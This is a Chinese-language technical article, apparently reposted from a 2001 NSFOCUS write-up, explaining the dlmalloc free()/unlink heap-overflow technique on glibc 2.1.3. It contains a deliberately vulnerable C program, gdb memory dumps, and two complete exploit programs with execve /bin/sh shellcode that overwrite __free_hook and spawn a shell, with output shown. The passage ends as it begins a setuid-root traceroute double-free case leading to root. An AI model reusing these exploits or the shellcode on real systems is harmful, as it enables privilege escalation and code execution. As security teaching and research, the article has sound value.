【分析】一种新的Heap区溢出技术分析

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原创最新推荐文章于 2026-05-20 09:53:45 发布 1.7k 阅读 AI 写同款· GEO 优化 ›

NodeJS 内存溢出排查分析: JavaScript heap out of memory 一、起因之前内网部分服务不稳定，请求偶尔会挂掉，需要频繁重启。本着实事求是的思想，决定排查并解决这个顽疾。二、日志分析通过登录机器查找日志发现具体的错误信息，“JavaScript heap out of memory”，可以看出是由于内存不足导致的服务异常。三、内存溢出分析 1.分析通过执行top指令，发现该进程([TSW/worker/0]) CPU占有率和 memery 占比一直居高不下。可以发现一些问题: 内存占用暴涨，大约600M CPU占用率极高猜测: 可能是 kube 阅读详情

◆ 一种新的Heap区溢出技术分析

作者：warning3 < maito:warning3@nsfocus.com >
主页：http://www.nsfocus.com/
日期：2001-3-09

     ★ 前言

通常的Heap区溢出只能利用覆盖某些函数指针,jumpbuf或者重要变量等方式来
完成攻击。这方面内容请参看我原来翻译整理的<HEAP/BSS 溢出机理分析>：
http://magazine.nsfocus.com/detail.asp?id=353
如果系统中没有这些条件，尽管能够发生溢出，攻击者仍然很难执行自己的代码。
这里介绍一种利用malloc/realloc/free来进行攻击的方法。这种方法使得Heap
攻击的可能性大大增加了。

注：下面所有的代码均在redhat 6.1(x86)Linux系统下测试通过。(glibc-2.1.3-21)

★ 目录

    1. 简单介绍
    2. 一个简单的例子
    3. malloc/calloc/realloc/free的基本概念
    4. 两种可能的攻击方法
    5. 针对弱点程序的两个演示程序
    6. 实例: Traceroute "-g"问题

★ 正文

1. 简单介绍

使用malloc()或者calloc()可以动态分配一段内存，并向用户返回一个内存地
址，而实际上这个地址前面通常有8个字节的内部结构，用来记录分配的块长度
以及一些标志。如果这些结构的内容被覆盖，在某些malloc实现下，可能导致
攻击者将任意数据写到一个任意内存地址中去，从而可能改变程序执行流向，
以至执行任意代码。

2. 一个简单的例子

下面我们来看一个简单的例子，这是一个非常典型的Heap溢出问题程序。它分
配两块内存，然后向其中的一块拷贝了一些数据，由于没有检查数据长度，发
生溢出。

/* A simple vulnerable program for malloc/free test - vul.c
*           by warning3@nsfocus.com (http://www.nsfocus.com)
*                                     2001/03/05
*/

#include <stdlib.h>

int
main (int argc, char *argv[])
{
char *buf, *buf1;

buf = malloc (16); /* 分配两块16字节内存 */
buf1 = malloc (16);

if (argc > 1)
    memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */

printf ("%#p [ buf ] (%.2d) : %s /n", buf, strlen (buf), buf);
printf ("%#p [ buf1 ] (%.2d) : %s /n", buf1, strlen (buf1), buf1);
printf ("From buf to buf1 : %d/n/n", buf1 - buf);

printf ("Before free buf/n");
free (buf); /* 释放buf */
printf ("Before free buf1/n");
free (buf1); /* 释放buf1 */

return 0;
} /* End of main */

现在让我们来看看结果：

[warning3@redhat-6 malloc]$ gcc -o vul vul.c -g
[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x16'`
0x8049768 [ buf ] (16) : AAAAAAAAAAAAAAAA <-- 一切正常
0x8049780 [ buf1 ] (00) :
From buf to buf1 : 24    <-- 两个buffer之间相差 16+8=24 字节

Before free buf
Before free buf1

[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x20'`
0x8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAA <-- 为什么会是21字节??
0x8049780 [ buf1 ] (00) : <-- 溢出的数据还没有进入buf1"境内"
From buf to buf1 : 24

Before free buf
Before free buf1

[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x21'`
0x8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAAA <-- 这次字节数对了
0x8049780 [ buf1 ] (00) :
From buf to buf1 : 24

Before free buf
Segmentation fault (core dumped) <-- 出现可爱的段错误了
<-- " Before free buf1"怎么没有出现？说明段错误发生在执行free(buf)时

[warning3@redhat-6 malloc]$ ./vul `perl -e 'print "A"x28'`
0x8049768 [ buf ] (28) : AAAAAAAAAAAAAAAAAAAAAAAAAAAA
0x8049780 [ buf1 ] (04) : AAAA <-- 这回溢出的数据才算到达buf1"境内"
From buf to buf1 : 24

Before free buf
Segmentation fault (core dumped)

看起来，似乎这种段错误并不足以让我们执行自己代码，因为覆盖的地方既没有
函数指针，也没有任何所能利用的变量或结构，更别提返回地址了。别着急，接
下来我就会告诉你怎么利用free()来得到我们的shell.在正式开始之前，我要先
讲一下malloc/calloc/realloc/free的基本概念。

3. malloc/calloc/realloc/free的基本概念

malloc/calloc/realloc/free这几个函数，是用来分配或释放动态内存的。

目前很多Linux系统所用的malloc实现(包括libc5和glibc)都是由Doug Lea完成
的。我们下面所讲的，都是指这一版本的实现。

从Linux的Man手册MALLOC(3)中看到这些函数原型如下：

       void *calloc(size_t nmemb, size_t size);
       void *malloc(size_t size);
       void free(void *ptr);
       void *realloc(void *ptr, size_t size);

calloc()用来分配nmemb个size大小的内存块，并返回一个可用内存地址。
         它会自动将得到的内存块全部清零。

malloc()用来分配size大小的内存块,并返回一个可用内存地址。

free()释放ptr所指向的内存。

realloc()用来将ptr指向的一块内存的大小改变为size.

我们需要注意的是free()和realloc()函数。它们都是比较危险的函数，如果
所提供的地址指针ptr所指向的内存是已经释放的，或者不是由malloc类函数
分配的话，就可能发生不可预料的情况。我们要利用的，也就是这些"不可预
料"的情况。

由于calloc()和malloc()差别不大，实际上都是调用的chunk_alloc()函数来
进行分配的，区别只是calloc()在最后调用了一个宏 MALLOC_ZERO来将分配
的内存块清零。因此后面除非特别指出，我们就只以malloc()为例.

malloc()定义了一个内部结构malloc_chunk来定义malloc分配或释放的内存块。

struct malloc_chunk
{
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size;      /* Size in bytes, including overhead. */
struct malloc_chunk* fd;   /* double links -- used only if free. */
struct malloc_chunk* bk;
};

prev_size是上一个块的大小，只在上一个块空闲的情况下才被填充
size是当前块的大小，它包括prev_size和size成员的大小(8字节)
fd是双向链表的向前指针，指向下一个块。这个成员只在空闲块中使用
bk是双向链表的向后指针，指向上一个块。这个成员只在空闲块中使用

对于已分配的内存，除了分配用户指定大小的内存空间外，还在前面增加了
malloc_chunk结构的前两个成员(8字节).一段已分配的内存结构如下图所示：

            0                              16                               32
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             上一个块的字节数（如果上一个块空闲的话）        | |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             当前块的字节数 (size)                         |M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             用户数据开始...                                   .
            .                                                               .
            .             (用户可以用空间大小)                              .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

这里chunk指针是malloc()在内部使用的，而返回给用户的是mem指针(chunk +
8),实际上向用户隐藏了一个内部结构。也就是说，如果用户要求分配size字节
内存，实际上至少分配size+8字节，只是用户可用的就是size字节(这里先不考
虑对齐问题)。nextchunk指向下一个内存块。

对于空闲(或者说已经释放的)块，是存放在一个双向循环链表(参见上面的
malloc_chunk结构)中的。

在内存中的分布基本如下图所示：

            0                              16                               32
    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             上一个块的字节数(prev_size)                       |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `head:' |              当前块的字节数 (size)                        |M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             前指针(指向链表中的下一个块)                      |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             后指针(指向链表中的上一个块)                      |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             未被双向链表使用的空间(也可能是0字节长)           .
            .                                                               .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `foot:' |             上一个块的字节数 (等于chunk->size)                |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

大家可能主要到两个表中都有一个"P"标志，它是"当前块字节数"(chunk->size)
中的最低一位,表示是否上一块正在被使用。如果P位置一，则表示上一块正在被
使用，这时chunk->prev_size通常为零；如果P位清零，则表示上一块是空闲块,
这是chunk->prev_size就会填充上一块的长度。

"M"位是表示此内存块是不是由mmap()分配的，如果置一，则是由mmap()分配的，
那么在释放时会由munmap_chunk()去释放；否则，释放时由chunk_free()完成。

这两位标志相关定义为：

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

由于malloc实现中是8字节对齐的，size的低3位总是不会被使用的，所以在实际
计算chunk大小时，要去掉标志位。例如：
#define chunksize(p) ((p)->size & ~(SIZE_BITS))

一次malloc最小分配的长度至少为16字节，例如malloc(0).（上面说的长度是指
chunk的长度）

了解了上面这些基本概念，我们再来看看free(mem)时做了些什么：

首先将mem转换为chunk(mem-8)，并调用chunk_free()来释放chunk所指的内存块。

然后程序会检查其相邻（包括前后）的内存块是不是空闲的：
如果是空闲块的话，就将该相邻块从链表中摘除(unlink)，然后将这些相邻的空
闲块合并；
如果不是空闲块的话，就只是设置后一个相邻块的prev_size和size(清
PREV_INUSE标志)。

最后将得到的空闲块加入到双向链表中去。

在进行unlink操作时，实际上就是执行了一个链表结点的删除工作。
比如，如果要从链表中删除chunk结点，所要做得就是:
chunk0->fd <== chunk->fd
chunk1->bk <== chunk->bk

如下所示：

     chunk0                      chunk                    chunk1
+----------------------+..+----------------------+..+----------------------+
|prev_size|size|*fd|*bk| |prev_size|size|*fd|*bk| |prev_size|size|*fd|*bk|
+----------------^-----+..+----------------+---+-+..+--------------------^-+
                  |_________________________|   |_________________________|

malloc实现中是使用了一个unlink宏来完成这个操作的，定义如下：
/* take a chunk off a list */

#define unlink(P, BK, FD)                                                   /
{                                                                           /
BK = P->bk;                                                               /
FD = P->fd;                                                               /
FD->bk = BK;                                                              /
BK->fd = FD;                                                              /
}

发现了吗？这里有两个写内存的操作。如果我们能够覆盖chunk->fd和chunk->bk
的话，那么chunk->fd就会写到(chunk->bk + 8)这个地址，而chunk->bk就会被
写到(chunk->fd + 12)这个地址！换句话说，我们可以将任意4个字节写到任意
一个内存地址中去！！我们就可能改变程序的流程，比如覆盖函数返回地址、
覆盖PLT表项、.dtor结构等等，这不正是我们所要的吗？

free()和realloc()中都有unlink操作，因此我们要做的就是要想办法用合适的
值来覆盖空闲块结构中的*fd和*bk,并让unlink能够执行。

下面让我们再回到开头的那个问题程序，看一下如何攻击它。

4. 两种可能的攻击方法

先来看看弱点程序是怎么出错的：

[warning3@redhat-6 malloc]$ gdb ./vul -q
(gdb) b main
Breakpoint 1 at 0x80484a6: file vul.c, line 10.
(gdb) r `perl -e 'print "A"x21'`
Starting program: /home/warning3/malloc/./vul `perl -e 'print "A"x20'`

Breakpoint 1, main (argc=3, argv=0xbffffcd4) at vul.c:10
10        buf = malloc (16); /* 分配两块16字节内存 */
(gdb) n
11        buf1 = malloc (16);
(gdb) p/x buf
$1 = 0x8049768
(gdb) x/20x buf-8
0x8049760:   p: 0x00000000      0x00000019 buf:0x00000000      0x00000000
0x8049770:      0x00000000      0x00000000     *0x00000000     #0x00000889
0x8049780:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049790:      0x00000000      0x00000000      0x00000000      0x00000000
0x80497a0:      0x00000000      0x00000000      0x00000000      0x00000000

[ p表示内存块内部指针 ]

[ 注意上面加*号的地方，这里开始的结点是链表中的top结点, #号处是它的长度 ]

(gdb) p/x *(buf-4)   <--- 这里存放的是当前块的大小，设置了PREV_INUSE位
$3 = 0x19
(gdb) p/x *(buf-4)&~0x1 <-- 算一下实际长度: 0x18 = 0x10 + 0x8
$4 = 0x18
(gdb) n
13        if (argc > 1)
(gdb) p/x buf1        <-- 分配第二块内存
$5 = 0x8049780

(gdb) x/20x buf-8
0x8049760:    p:0x00000000      0x00000019 buf:0x00000000      0x00000000
0x8049770:      0x00000000      0x00000000   p1:0x00000000      0x00000019
0x8049780: buf1:0x00000000      0x00000000      0x00000000      0x00000000
0x8049790:     *0x00000000     #0x00000871      0x00000000      0x00000000
0x80497a0:      0x00000000      0x00000000      0x00000000      0x00000000

[ p1表示内存块内部指针 ]

[ 我们看到top结点后移了0x18字节，长度也缩小了0x18字节 ]

(gdb) n
13        if (argc > 1)
(gdb) n
14          memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */
(gdb) n
16        printf ("%#p [ buf ] (%.2d) : %s /n", buf, strlen (buf), buf);
(gdb) x/20x buf-8
0x8049760:    p:0x00000000      0x00000019 buf:0x41414141      0x41414141
0x8049770:      0x41414141      0x41414141 p1: 0x41414141      0x00000019
0x8049780: buf1:0x00000000      0x00000000      0x00000000      0x00000000
0x8049790:      0x00000000      0x00000871      0x00000000      0x00000000
0x80497a0:      0x00000000      0x00000000      0x00000000      0x00000000

[ 填入的20个字节已经溢出了buf,并覆盖到了第二个内存块的内部结构p1->prev_size ]
[ 紧接着的那个字节0x19是p1块的长度，所以下面再计算strlen(buf)时得到的长度为 ]
[ 21.现在你应该明白开头那个问题的答案了吧                                   ]

(gdb) c
Continuing.
0x8049768 [ buf ] (21) : AAAAAAAAAAAAAAAAAAAA
0x8049780 [ buf1 ] (00) :
From buf to buf1 : 24

Before free buf
Before free buf1

由于上面的情况下，p1的size部分没有被覆盖，因此系统认为buf前后的块都不
是空闲的,因此就不会有unlink操作，也就不会有段错误发生了。如果我们再增
加几个字节，就没有那么"幸运"了.

(gdb) b 14
Breakpoint 1 at 0x80484ca: file vul.c, line 14.
(gdb) r `perl -e 'print "A"x24'`
Starting program: /home/warning3/malloc/./vul `perl -e 'print "A"x24'`

Breakpoint 1, main (argc=2, argv=0xbffffce4) at vul.c:14
14          memcpy (buf, argv[1], strlen (argv[1])); /* 这里会发生溢出 */
(gdb) x/20x buf-8
0x8049760:      0x00000000      0x00000019      0x00000000      0x00000000
0x8049770:      0x00000000      0x00000000      0x00000000      0x00000019
0x8049780:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049790:      0x00000000      0x00000871      0x00000000      0x00000000
0x80497a0:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) n
16        printf ("%#p [ buf ] (%.2d) : %s /n", buf, strlen (buf), buf);
(gdb) x/20x buf-8
0x8049760:      0x00000000      0x00000019      0x41414141      0x41414141
0x8049770:      0x41414141      0x41414141      0x41414141      0x41414141
0x8049780:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049790:      0x00000000      0x00000871      0x00000000      0x00000000
0x80497a0:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) b 21 <-- 这时候buf1的内部结构(prev_size和size)已经被覆盖了
Breakpoint 2 at 0x804855e: file vul.c, line 21.
(gdb) c
Continuing.
0x8049768 [ buf ] (24) : AAAAAAAAAAAAAAAAAAAAAAAA
0x8049780 [ buf1 ] (00) :
From buf to buf1 : 24

Before free buf

Breakpoint 2, main (argc=2, argv=0xbffffce4) at vul.c:21
21        free (buf); /* 释放buf */
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x400740c4 in chunk_free (ar_ptr=0x40108d40, p=0x8049760) at malloc.c:3100
3100    malloc.c: No such file or directory.
(gdb) x/i $pc
0x400740c4 <chunk_free+268>:    testb $0x1,0x4(%ecx,%esi,1)
(gdb) i r $ecx
ecx            0x41414140       1094795584 <-- 这个是覆盖后p1的块长度
(gdb) i r $esi
esi            0x8049778        134518648 <-- 这个是p1块的地址

下面我们来看free()是怎么工作的，以便确定到底是哪里发生了段错误。注意
下面的代码做了一些简化：

void fREe(Void_t* mem)
{
...

(a) if (chunk_is_mmapped(p)) /* 如果IS_MMAPPED位被设置，则调用munmap_chunk() */
{
    munmap_chunk(p);
    return;
}
...
p = mem2chunk(mem); /* 将用户地址转换成内部地址: p = mem - 8 */
...
chunk_free(ar_ptr, p);
}

static void
internal_function
chunk_free(arena *ar_ptr, mchunkptr p)
{
INTERNAL_SIZE_T hd = p->size; /* hd是当前块地址 */
INTERNAL_SIZE_T sz; /* 当前块大小 */
INTERNAL_SIZE_T nextsz; /* 下一个块大小 */
INTERNAL_SIZE_T prevsz; /* 上一个块大小 */

...

check_inuse_chunk(ar_ptr, p);

sz = hd & ~PREV_INUSE; /* 取得当前块的真实大小 */
next = chunk_at_offset(p, sz); /* 得到下一个块的地址 */
nextsz = chunksize(next); /* 得到下一个块的真实大小
                             * #define chunksize(p) ((p)->size & ~(SIZE_BITS))
                             */

if (next == top(ar_ptr)) /* 如果下一个块是头结点，则与之合并 */
{
    sz += nextsz;

(b) if (!(hd & PREV_INUSE)) /* 如果上一个块是空闲的，则与之合并*/
    {
      prevsz = p->prev_size;
      p = chunk_at_offset(p, -prevsz);
      sz += prevsz;
      unlink(p, bck, fwd); /* 从链表中删除上一个结点 */
    }

    set_head(p, sz | PREV_INUSE);
    top(ar_ptr) = p;

     .....
}

/* 如果下一个块不是头结点 */

(b) if (!(hd & PREV_INUSE)) /* 如果上一个块是空闲的，则与之合并*/
{
    prevsz = p->prev_size;
    p = chunk_at_offset(p, -prevsz);
    sz += prevsz;

    if (p->fd == last_remainder(ar_ptr))     /* keep as last_remainder */
      islr = 1;
    else
      unlink(p, bck, fwd);   /* 从链表中删除上一个结点 */
}

   /* 根据我的判断，刚才的程序，是在进行这个检查时发生段错误的 */
(c)if (!(inuse_bit_at_offset(next, nextsz)))/* 如果下一个块是空闲的，则与之合并*/
{
    sz += nextsz;

   if (!islr && next->fd == last_remainder(ar_ptr))
                                              /* re-insert last_remainder */
    {
      islr = 1;
      link_last_remainder(ar_ptr, p);
    }
    else
      unlink(next, bck, fwd);/* 从链表中删除下一个结点 */

    next = chunk_at_offset(p, sz);
}
else
    set_head(next, nextsz); /* 如果前后两个块都不是空闲的，则将下一个块的size
                               中的PREV_INUSE位清零 */

set_head(p, sz | PREV_INUSE);
next->prev_size = sz;   /* 将下一个块的prev_size部分填成当前块的大小 */
if (!islr)
    frontlink(ar_ptr, p, sz, idx, bck, fwd); /* 将当前这个块插入空闲块链表中 */

.....
}

我们看到这里面有3个地方调用了unlink.如果想要执行它们，需要满足下列条件：

1. (a) 当前块的IS_MMAPPED位必须被清零，否则不会执行chunk_free()
2. (b) 上一个块是个空闲块 (当前块size的PREV_INUSE位清零)
    或者
    (c) 下一个块是个空闲块(下下一个块（p->next->next）size的PREV_INUSE位清零)

我们的弱点程序发生溢出时，可以覆盖下一个块的内部结构，但是并不能修改当前
块的内部结构，因此条件(b)是满足不了的。我们只能寄希望于条件(c).

所谓下下一个块的地址其实是由下一个块的数据来推算出来的，因此，既然我们
可以完全控制下一个块的数据，就可以让下下一个块的size的PREV_INUSE位为零。
这样程序就会认为下一个块是个空闲块了。假设当前块为块1,下一个块为块2，下
下一个块为块3，如下图所示：

      块1                      块2                    伪造的块3
+----------------------+------------------------+..+-------------------------+
|prev_size|size|16bytes|prev_size2|size2|fd2|bk2| |prev_size3|size3|任意数据|
+----------------------+------------------------+..+-------------------------+
|                      |                           |
|--> p                 |-->next                    |-->next2next

next = p + (size & ~PREV_INUSE)
next2next = next + (size2 & ~(PREV_INUSE|IS_MMAPPED))

因此，只要我们能够通过修改size2，使得next2next指向一个我们控制的地址。
我们在这个地址伪造一个块3，使得此块的size3的PREV_INUSE位置零即可！

然后，在fd2处填入要覆盖的地址，例如函数返回地址等等。Solar Designer建议
可以使用__free_hook()的地址，这样再下一次调用free()时就会执行我们的代码。

在bk2处可以填入shellcode的地址。

实际构造的时候块2的结构如下：

prev_size2 = 0x11223344 /* 可以使用任意值 */
size2      = (next2next - next) /* 这个数值必须是4的倍数 */
fd2        = __free_hook - 12 /* 将shellcode地址刚好覆盖到__free_hook地址处 */
bk2        = shellcode /* 这将导致fd2被写到shellcode + 8这个地址，所以需要
                            在shellcode前面放一段跳转语句以跳过fd2 */

伪造的块3则要求很低，只需要让size3的最后一位为0即可:

prev_size3 = 0x11223344 /* 可以使用任意值 */
size3 = 0xffffffff & ~PREV_INUSE /* 这里的0xffffffff可以用任意非零值替换 */

这个伪造的块可以放在任意可能的位置，例如块2的前面或者后面。如果要放在
块2的后面，由于size2是4个字节，因此如果距离比较小的话，那么size2是肯定
要包含零字节的，这会中断数据拷贝，因此距离必须足够远，以至于四个字节均
不为零，堆栈段是一个不错的选择，通过设置环境变量等方法我们也可以准确的
得到块3的地址。
如果我们要将块3放到块2的前面，那么size2就是个负值，通常是0xffffffxx等
等。这肯定满足size2不为零的要求，另外，这个距离我们也可以很精确的指定。
因此我们决定采用这种方法。

      块1                （     块3     ）              块2
+---------------------------------------+------------------------+
|prev_size|size|.......|0x11223344|size3|prev_size2|size2|fd2|bk2|
+---------------------------------------+------------------------+
                |       |<---- 8 字节 -->|
                |                        |
                |<----- 16字节 -------->|

在上面的图上，我们将块3的8字节的内部结构放在了块1的用户数据区中，而
块3的用户数据区实际上是从块2开始的。但是既然我们根本不关心块3的prev
_size以及数据段，而块2的prev_size我们也不关心，我们还可以有更简化的
版本：将块3往右移动4个字节，即让siez3与prev_size2重合！

|     块1                  |.... 块3 ..|     块2                |
+---------------------------------------+------------------------+
|prev_size|size|...........| 0x11223344 |prev_size2|size2|fd2|bk2|
+---------------------------------------+------------------------+
                |           |<-- 4字节-->| (size3)
                |                        |
                |<----- 16字节 -------->|

这样next2next - next = -4 = 0xfffffffc .则块2就可以重新构造一下：

prev_size2 = 0x11223344 & ~PREV_INUSE /* 我们用原来的size3代替 */
size2      = 0xfffffffc /* 长度为-4 */
fd2        = __free_hook - 12 /* 将shellcode地址刚好覆盖到__free_hook地址处 */
bk2        = shellcode

至于块3的prev_size3,我们并不关心，因此并不需要再特别构造。这样一来，
我们的工作就大大简化了，只需要构造一个块2就可以了！
现在我们看看我们要做的事情：

i. 使用32字节数据模板，前16字节是任意非零数值，而后16字节是我们伪造的
     块2

ii. 找到__free_hook的地址。这个通过gdb可以方便的跟踪出来
      $ [warning3@redhat-6 malloc]$ gdb ./vul -e
      (gdb) b main
      Breakpoint 1 at 0x80484a6: file vul.c, line 10.
      (gdb) r
      Starting program: /home/warning3/malloc/./vul

      Breakpoint 1, main (argc=1, argv=0xbffffcf4) at vul.c:10
      10        buf = malloc (16); /* 分配两块16字节内存 */
      (gdb) p/x &__free_hook
      $2 = 0x401091b8

iii. 确定shellcode的地址。并且要在shellcode前面增加一段跳转代码，以便
       跳过一个malloc_chunk结构，因为(__free_hook-12)这个值会被写到
       shellcode+8处.
       +--------+---------------------+---------------+
       |jmp 0x0a|nopnop...nopnopnopnop|正常的shellcode|
       +--------+---------------------+---------------+
                |<----   10字节 ---->|

5. 一个演示程序

下面我们就可以来写溢出程序了，其实是相当简单的：

/* Exploit for free() with unlinking next chunk - ex.c
*           by warning3@nsfocus.com (http://www.nsfocus.com)
*                                     2001/03/06
*/

#include <stdio.h>
#include <stdlib.h>

#define __FREE_HOOK     0x401091b8 /* __free_hook()地址 */
#define VULPROG "./vul"

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

char shellcode[] =
"/xeb/x0a/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90" /*这一段是为了跳过垃圾数据*/
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";

main (int argc, char **argv)
{
unsigned int codeaddr = 0;
char buf[128], fake_chunk[16];
char *env[2];
unsigned int *ptr;

/* 计算shellcode在堆栈中的地址 */
codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);

env[0] = shellcode;
env[1] = NULL;

/* 伪造一个块结构 */
ptr = (unsigned int *) fake_chunk;
*ptr++ = 0x11223344 & ~PREV_INUSE; /* 将PREV_INUSE位清零 */
/* 设置长度为-4,这个值应当是4的倍数 */
*ptr++ = 0xfffffffc;
*ptr++ = __FREE_HOOK - 12 ;
*ptr++ = codeaddr;

bzero(buf, 128);
memset (buf, 'A', 16); /* 填充无用数据 */
memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));

execle (VULPROG, VULPROG, buf, NULL, env);

} /* End of main */

运行一下看看：

[warning3@redhat-6 malloc]$ gcc -o ex ex.c
[warning3@redhat-6 malloc]$ ./ex
0x8049768 [ buf ] (32) : AAAAAAAAAAAAAAAA?瑧@??
0x8049780 [ buf1 ] (08) : 瑧@??
From buf to buf1 : 24

Before free buf
Before free buf1
bash$            <--- 成功了!!

是不是很简单？:-)

小节：

现在我们总结一下利用free(mem)来进行攻击的基本步骤。假设chunk是该块内部
结构的指针(chunk = mem - 8)。

我们有两种方法：
1. 如果我们想利用上一块的unlink进行攻击，需要保证:
       I. chunk->size的IS_MMAPPED位为零
      II. chunk->size的PREV_INUSE位为零
     III. chunk + chunk->prev_size指向一个我们控制的伪造块结构；
      IV. 在一个确定的位置构造一个伪块

2. 如果想利用下一个块的unlink进行攻击，需要保证:
       I. chunk->size的IS_MMAPPED位为零
      II. chunk->size的PREV_INUSE位为一
     III. chunk + nextsz 指向一个我们控制的伪造块结构。
           (nextsz = chunk->size & ~(PREV_INUSE|IS_MMAPPED))
      IV. 在一个确定的位置构造一个伪块

其中伪块(fake_chunk)的结构如下：

fake_chunk[0] = 0x11223344 & ~PREV_INUSE （只在第2种情况下有意义）
fake_chunk[4] = 0xfffffffc | (PREV_INUSE|IS_MMAPPED); （只在第2种情况下有意义）
fake_chunk[8] = objaddr - 12 ; (objaddr是要覆盖的目标地址)
fake_chunk[12] = shellcodeaddr ; (shellcodeaddr是shellcode的地址)

至于具体使用上面哪种方法，需要根据实际情况确定。例如，如果你不能控制
chunk->prev_size使其指向我们的伪块，那就不能用第一种方法了。

我们再看一个利用上一块的unlink进行攻击的例子，只要将弱点程序的free(buf1)放到
free(buf)前面即可，这样我们所free的buf1就是一个我们可以控制的内存块了。
改动后的vul.c如下：
...
printf ("Before free buf1/n");
free (buf1); /* 释放buf1 */
printf ("Before free buf/n");
free (buf); /* 释放buf */
...

看看我们的新演示程序吧：

/* Exploit for free() with unlinking previous chunk - ex1.c
*           by warning3@nsfocus.com (http://www.nsfocus.com)
*                                     2001/03/06
*/

#include <stdio.h>
#include <stdlib.h>

#define __FREE_HOOK     0x401091b8      /* __free_hook()地址 */
#define VULPROG "./vul"

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

char shellcode[] =
"/xeb/x0a/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"   /*这一段是为了跳过垃圾数据 */
"/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
"/x80/xe8/xdc/xff/xff/xff/bin/sh";

main (int argc, char **argv)
{
unsigned int codeaddr = 0;
char buf[128], fake_chunk[16];
char *env[2];
unsigned int *ptr;

/* 计算shellcode在堆栈中的地址 */
codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);

env[0] = shellcode;
env[1] = NULL;

/* 伪造一个块结构。 */
ptr = (unsigned int *) fake_chunk;
*ptr++ = 0x11223344 & ~PREV_INUSE;
*ptr++ = 0xfffffffc;
*ptr++ = __FREE_HOOK - 12;
*ptr++ = codeaddr;

bzero (buf, 128);
memset (buf, 'A', 16);
ptr = (unsigned int *) (buf + 16);

/* 让prev_size等于-8 ,使其指向我们伪造的块. 满足III条 */
*ptr++ = 0xfffffff8;

/* 只要保证next以及next->size可以访问即可。所以让size长度等于-4 ,
   * 如果要为正值，必须找到堆栈里的一个有效值，还要计算偏移,太麻烦。
   * 同时要清两个标记。满足I.,II.条
   */
*ptr++ = 0xfffffffc & ~(PREV_INUSE | IS_MMAPPED);

/* 将伪造的块放到确定位置。满足第IV条 */
memcpy (buf + 16 + 8, fake_chunk, sizeof (fake_chunk));

execle (VULPROG, VULPROG, buf, NULL, env);

}/* End of main */

让我们再来测试一下：

[warning3@redhat-6 malloc]$ gcc -o ex1 ex1.c
[warning3@redhat-6 malloc]$ ./ex1
0x8049768 [ buf ] (40) : AAAAAAAAAAAAAAAA??D3"瑧@??
0x8049780 [ buf1 ] (16) : D3"瑧@??
From buf to buf1 : 24

Before free buf1 <-- 先释放buf1
Before free buf
bash$ exit

6. 实例: Traceroute "-g"问题

有了上面的演示程序。我们再来看一个真实世界的例子。

Traceroute是用来检查通往目标网络的路由情况的一个工具，很多Unix系统都安
装了这个软件。由于traceroute需要操纵原始套接字，因此通常被设置了setuid
root属性。LBNL 1.4a5版的Traceroute(LBNL = Lawrence Berkeley National
Laboratory)存在一个安全漏洞，可以被攻击者用来非法获取root权限。

这个漏洞主要是由于free()函数错误得去释放一块已经释放的内存所引起的。

首先我们看一下traceroute的漏洞出在那里。traceroute使用了一个savestr()函数，它
在savestr.c中,它的作用类似strdup(),用来复制一个字符串。它会自动调用malloc()分
